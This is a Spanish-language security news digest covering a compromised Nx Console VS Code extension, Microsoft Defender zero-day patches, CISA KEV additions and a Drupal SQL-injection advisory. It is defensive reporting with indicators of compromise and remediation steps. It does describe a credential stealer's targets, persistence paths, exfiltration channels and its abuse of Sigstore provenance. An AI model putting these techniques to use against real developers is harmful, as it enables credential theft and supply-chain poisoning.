Más recientemente, en enero, dos extensiones maliciosas anunciadas como asistentes de codificación basadas en inteligencia artificial con 1,5 millones de instalaciones extrajeron datos de sistemas de desarrolladores comprometidos a servidores en China.

La plataforma basada en la nube de GitHub ahora es utilizada por más de 4 millones de organizaciones (incluido el 90% de las Fortune 100) y más de 180 millones de desarrolladores que contribuyen a más de 420 millones de repositorios de código.

Actualización: GitHub ahora ha vinculado esta infracción con el ataque a la cadena de suministro de npm de TanStack y dice que el empleado instaló una versión maliciosa de la extensión de la consola Nx.

Fuente: BC

Actualizaciones para Microsoft Defender y Trend Micro

noreply@blogger.com (SSD) — Fri, 22 May 2026 09:32:32 -0300

El miércoles, Microsoft comenzó a implementar parches de seguridad para dos vulnerabilidades de Defender que han sido explotadas en ataques Zero-Day.

La primera, identificada como CVE-2026-41091, es una vulnerabilidad de escalamiento de privilegios que afecta a Microsoft Malware Protection Engine 1.1.26030.3008 y versiones anteriores, la cual proporciona las capacidades de análisis, detección y limpieza para el software antivirus y antispyware de Microsoft.

Esta vulnerabilidad se origina en una debilidad de resolución de enlaces incorrecta antes del acceso a archivos (seguimiento de enlaces), lo que permite a los atacantes obtener privilegios de SYSTEM.

Una segunda vulnerabilidad (CVE-2026-45498) afecta a los sistemas que ejecutan Microsoft Defender Antimalware Platform 4.18.26030.3011 y versiones anteriores, un conjunto de herramientas de seguridad que también utilizan Microsoft System Center Endpoint Protection, System Center 2012 R2 Endpoint Protection, System Center 2012 Endpoint Protection y Security Essentials.

Según Microsoft, la explotación exitosa permite a los ciberdelincuentes provocar ataques de denegación de servicio (DoS) en dispositivos Windows sin actualizar.

Microsoft ha lanzado las versiones 1.1.26040.8 y 4.18.26040.7 del Motor de Protección contra Malware, respectivamente, para solucionar estas dos vulnerabilidades de seguridad, y ha añadido que los usuarios no deberían tener que tomar ninguna medida para proteger sus sistemas, ya que "la configuración predeterminada del software antimalware de Microsoft garantiza que las definiciones de malware y la Plataforma Antimalware de Windows Defender se mantengan actualizadas automáticamente".

Sin embargo, los usuarios deben comprobar si las actualizaciones de la Plataforma Antimalware de Windows Defender y las definiciones de malware están configuradas para instalarse automáticamente y verificar si la actualización se instaló siguiendo estos pasos:

El martes, también se compartieron medidas de mitigación para YellowKey, una vulnerabilidad de día cero de Windows BitLocker recientemente descubierta que permite a los atacantes acceder a unidades protegidas.

La Agencia de Seguridad de Infraestructura y Ciberseguridad de EE.UU. (CISA) agregó estas dos vulnerabilidades de día cero a su Catálogo de Vulnerabilidades Explotadas Conocidas (KEV).

Trend Micro Apex One

CISA también añadió dos fallos de seguridad que afectan a Langflow y a Trend Micro Apex One a su catálogo de Vulnerabilidades Conocidas Explotadas (KEV), citando pruebas de explotación activa.

Las vulnerabilidades en cuestión se enumeran a continuación:

CVE-2025-34291 (puntuación CVSS: 9.4) — Una vulnerabilidad de error en la validación de origen en Langflow que podría permitir a un atacante ejecutar código arbitrario y lograr el compromiso total del sistema.
CVE-2026-34926 (puntuación CVSS: 6.7) — Una vulnerabilidad de recorrido de directorios en las versiones locales de Trend Micro Apex One que podría permitir a un atacante local preautenticado modificar una tabla de claves en el servidor para inyectar código malicioso, el cual sería distribuido a los agentes en las instalaciones afectadas.

En un informe publicado en diciembre de 2025, Obsidian Security señaló que el CVE-2025-34291 explota tres debilidades combinadas: una configuración CORS excesivamente permisiva, la falta de protección contra la falsificación de solicitudes entre sitios (CSRF) y un punto de conexión que permite la ejecución de código por diseño.

Desde entonces, la vulnerabilidad ha sido explotada por un grupo de hackers patrocinado por el Estado iraní, denominado MuddyWater, para obtener acceso inicial a las redes objetivo, según un análisis de Ctrl-Alt-Intel publicado en marzo de 2026.

Fuente: BC

Nx Console 18.95.0 comprometida: ataque a la cadena de suministro dirigido a desarrolladores VS Code

noreply@blogger.com (SSD) — Thu, 21 May 2026 10:30:00 -0300

Investigadores de seguridad han identificado una versión comprometida de la extensión Nx Console (nrwl.angular-console, versión 18.95.0) publicada en el Marketplace de Visual Studio Code. La extensión, con más de 2,2 millones de instalaciones, es ampliamente utilizada para gestionar proyectos Nx en VS Code, Cursor y JetBrains. La versión de Open VSX no fue afectada.

La ventana de exposición fue muy estrecha: el payload malicioso estuvo activo entre las 14:36 y las 14:47 CEST del 18 de mayo de 2026 — apenas 11 minutos — pero suficiente para comprometer a varios usuarios.

Vector de ataque: orphan commit en GitHub

La causa raíz fue la filtración de credenciales GitHub de uno de los desarrolladores del proyecto, cuya máquina había sido previamente comprometida en un incidente de seguridad no divulgado. Con esas credenciales, el atacante empujó un commit huérfano y sin firma (orphan commit) al repositorio oficial nrwl/nx en GitHub.

El commit introducía un payload obfuscado de 498 KB que la extensión descargaba y ejecutaba de forma silenciosa al abrir cualquier workspace en VS Code. Esta técnica — usar un commit huérfano oculto en un repositorio legítimo como delivery channel — es especialmente evasiva porque el código no aparece en ninguna rama normal y puede pasar desapercibido ante controles de integridad superficiales.

Anatomía del malware: multi-stage credential stealer

El payload es una herramienta de múltiples etapas con capacidades de robo de credenciales y envenenamiento de la cadena de suministro:

Primera etapa — Ejecución silenciosa: Al abrirse cualquier workspace, la extensión instala el runtime Bun JavaScript y ejecuta un index.js ofuscado como proceso detached en segundo plano (__DAEMONIZED=1 en su entorno de proceso).

Evasión geográfica: El malware verifica la zona horaria del sistema para evitar infectar máquinas en Rusia y la CEI, un patrón que sugiere autoría o protección hacia actores de esa región.

Exfiltración de secretos — objetivos concretos:

Bóvedas de 1Password
Configuraciones de Anthropic Claude Code
Tokens de npm
Tokens de GitHub
Credenciales de AWS

La exfiltración utiliza tres canales: HTTPS, la GitHub API y tunelización DNS — lo que dificulta la detección mediante inspección de tráfico convencional.

Backdoor Python en macOS: En sistemas macOS, el malware instala un backdoor en Python (~/.local/share/kitty/cat.py) que persiste mediante un LaunchAgent (~/Library/LaunchAgents/com.user.kitty-monitor.plist). Usa la GitHub Search API como dead drop resolver — es decir, como canal encubierto para recibir comandos del atacante sin comunicación directa con un servidor C2.

El riesgo más grave: abuso de Sigstore El payload incluye integración completa con Sigstore, incluyendo emisión de certificados via Fulcio y generación de provenance SLSA. Combinado con tokens npm OIDC robados, esto permitiría al atacante publicar paquetes npm maliciosos con atestaciones de procedencia criptográficamente válidas — es decir, paquetes que aparecerían como builds legítimos y verificados ante cualquier herramienta de verificación de provenance. Esta es la capacidad de mayor alcance del ataque, ya que podría haber contaminado ecosistemas downstream de forma prácticamente indetectable.

Indicadores de Compromiso (IoCs)

Si algún usuario instaló la versión 18.95.0 en la ventana de exposición, debe buscar:

Archivos:

~/.local/share/kitty/cat.py
~/Library/LaunchAgents/com.user.kitty-monitor.plist
/var/tmp/.gh_update_state
/tmp/kitty-*

Procesos activos:

Proceso Python ejecutando cat.py
Cualquier proceso con la variable de entorno __DAEMONIZED=1

Remediación

Actualizar a Nx Console 18.100.0 o superior de forma inmediata.
Terminar los procesos maliciosos listados arriba.
Eliminar los artefactos en disco.
Rotar todas las credenciales accesibles desde la máquina afectada: tokens npm, tokens GitHub, claves SSH, secretos AWS, y cualquier otro secreto presente en el entorno de desarrollo.

Contexto: patrón de ataques al ecosistema Nx y npm

Este es el segundo ataque al ecosistema Nx en menos de un año. En agosto de 2025, la campaña s1ngularity comprometió varios paquetes npm del mismo ecosistema con un credential stealer similar; aquella vez el vector fue los paquetes npm, esta vez la extensión de VS Code.

El artículo original también documenta otros paquetes npm maliciosos descubiertos en paralelo, que ilustran la escala actual del problema en la cadena de suministro de software:

iceberg-javascript, supabase-javascript, auth-javascript y otros: binarios ELF que abren backdoors en sesiones de Claude Code para robar credenciales.
noon-contracts: impersona un SDK de contratos inteligentes para exfiltrar claves SSH, wallets crypto, credenciales AWS y Kubernetes.
martinez-polygon-clipping-tony: fork troyanizado que descarga un RAT para Windows de 17 MB vía hook postinstall, usando Telegram como C2.
common-tg-service: permite secuestrar cuentas de Telegram de las víctimas.
k8s-pod-checker, dev-env-utils, node-perf-utils: instalan un proxy LLM en la máquina de la víctima para enrutar tráfico de IA a través del servidor comprometido.
Una campaña de dependency confusion de 38 paquetes npm atribuida a un actor indonesio, dirigida a pipelines CI/CD de Apple, Google y Alibaba.

Análisis para CISOs

Este incidente ejemplifica cómo el entorno de desarrollo es superficie de ataque crítica. Los puntos a destacar desde una perspectiva de gestión de riesgos:

El compromiso inicial fue de una sola máquina de un desarrollador, lo que fue suficiente para desencadenar un ataque a millones de instalaciones. Los controles de seguridad en estaciones de trabajo de desarrolladores deben ser equivalentes a los de entornos de producción.

El uso de orphan commits sin firma en repositorios legítimos como canal de entrega es una técnica que evade la mayoría de controles basados en reputación de dominio o verificación de fuente. La firma de commits debería ser obligatoria en repositorios críticos.

La capacidad de abuso de Sigstore es el elemento más preocupante a largo plazo: erosiona la confianza en los mecanismos de verificación de provenance que muchas organizaciones están adoptando como control de seguridad en su cadena de suministro software (SLSA, SBOM). Un atacante con tokens OIDC robados puede producir artefactos que superan controles de firma que se asumían robustos.

Se recomienda revisar la política de extensiones de VS Code permitidas en entornos corporativos, especialmente en máquinas con acceso a secretos de producción o capacidad de publicar en registros de paquetes.

Fuente: THN

ALERTA MÁXIMA: SQL Injection en Drupal Core — SA-CORE-2026-004 (Actualiza hoy!)

noreply@blogger.com (SSD) — Wed, 20 May 2026 16:08:00 -0300

El Equipo de Seguridad de Drupal publicó hoy el advisory SA-CORE-2026-004, confirmando una vulnerabilidad de inyección SQL en la API de abstracción de base de datos del núcleo de Drupal.

Esta es la vulnerabilidad anunciada preventivamente hace dos días mediante PSA-2026-05-18.

La vulnerabilidad, ahora rastreada como CVE-2026-9082, reside en una API de abstracción de base de datos que se utiliza en Drupal Core para validar consultas y garantizar que estén desinfectadas contra ataques de inyección SQL.

La falla permite que un atacante envíe peticiones especialmente diseñadas para ejecutar SQL arbitrario contra la base de datos del sitio, con consecuencias que van desde la exposición de datos sensibles hasta la escalamiento de privilegios y ejecución remota de código.

Perfil de riesgo

Dimensión	Valor	Implicancia práctica
Complejidad de acceso	Ninguna	Sin condiciones previas
Autenticación	Ninguna	Explotable por usuarios anónimos
Impacto en Confidencialidad	Total	Toda la base de datos expuesta
Impacto en Integridad	Total	Datos modificables o eliminables
Estado del exploit	Teórico	Sin exploit público conocido aún
Distribución objetivo	No común	Solo sitios con PostgreSQL

⚠ Punto crítico para CISOs: La ventana entre publicación del advisory y aparición de exploits funcionales puede ser de horas. El historial de Drupalgeddon (2014) así lo demuestra.

¿A quién afecta?

La vulnerabilidad SQL Injection afecta exclusivamente a sitios que utilizan PostgreSQL como motor de base de datos. Los sitios sobre MySQL/MariaDB no son vulnerables a este vector específico.

Sin embargo, todas las instalaciones de Drupal deben actualizar igualmente, ya que esta release incluye parches de seguridad críticos para dependencias upstream (Symfony y Twig) que pueden afectar a cualquier configuración.

Versiones vulnerables

Rama	Versiones afectadas	Versión segura
Drupal 11.3.x	< 11.3.10	11.3.10
Drupal 11.2.x	< 11.2.12	11.2.12
Drupal 11.1.x / 11.0.x	< 11.1.10	11.1.10 (EOL — best effort)
Drupal 10.6.x	< 10.6.9	10.6.9
Drupal 10.5.x	< 10.5.10	10.5.10
Drupal 10.4.x o anterior	< 10.4.10	10.4.10 (EOL — best effort)
Drupal 9.x	EOL	Parche manual disponible
Drupal 8.9	EOL	Parche manual disponible
Drupal 7	No afectado	—

Vector adicional: Symfony y Twig

Este punto merece atención especial para los equipos técnicos. Las versiones de las ramas soportadas (10.5, 10.6, 11.2, 11.3) incluyen actualizaciones de seguridad para Symfony y Twig, coordinadas con este release. Dependiendo de la configuración del sitio y los módulos contrib instalados, el sitio puede ser vulnerable a una o más de estas vulnerabilidades upstream independientemente de si usa PostgreSQL o no.

Se recomienda adicionalmente auditar qué roles de usuario tienen permisos para editar templates Twig, por ejemplo a través del módulo Views u otros módulos contrib.

Plan de acción inmediata

Para sitios en versiones soportadas (10.5, 10.6, 11.2, 11.3) — Prioridad P1:

Comando: composer update drupal/core

Actualizar a la versión segura correspondiente de forma inmediata.

Para sitios en versiones EOL (8, 9, 10.4, 11.0, 11.1): Aplicar el parche manual disponible en drupal.org y planificar migración urgente a una rama soportada. Recordar que estas versiones acumulan otras vulnerabilidades previamente divulgadas que no serán corregidas.

Para todos los sitios, con independencia del motor de base de datos: Actualizar igualmente para recibir los parches de Symfony y Twig incluidos en este release.

Revisión de permisos: Auditar roles con capacidad de editar templates Twig en el sitio.

Contexto: ¿Por qué SQL Injection en Drupal es siempre una alarma máxima?

En 2014, la vulnerabilidad Drupalgeddon (SA-CORE-2014-005) fue una inyección SQL de perfil similar. Los exploits aparecieron en cuestión de horas y se automatizaron rápidamente. Miles de sitios sin parchear en las primeras 7 horas fueron comprometidos de forma masiva y silenciosa. Este antecedente obliga a tratar SA-CORE-2026-004 como una emergencia operativa, no como una actualización rutinaria de mantenimiento.

Fuente: Drupal — Equipo de Seguridad de Drupal. CVE: CVE-2026-9082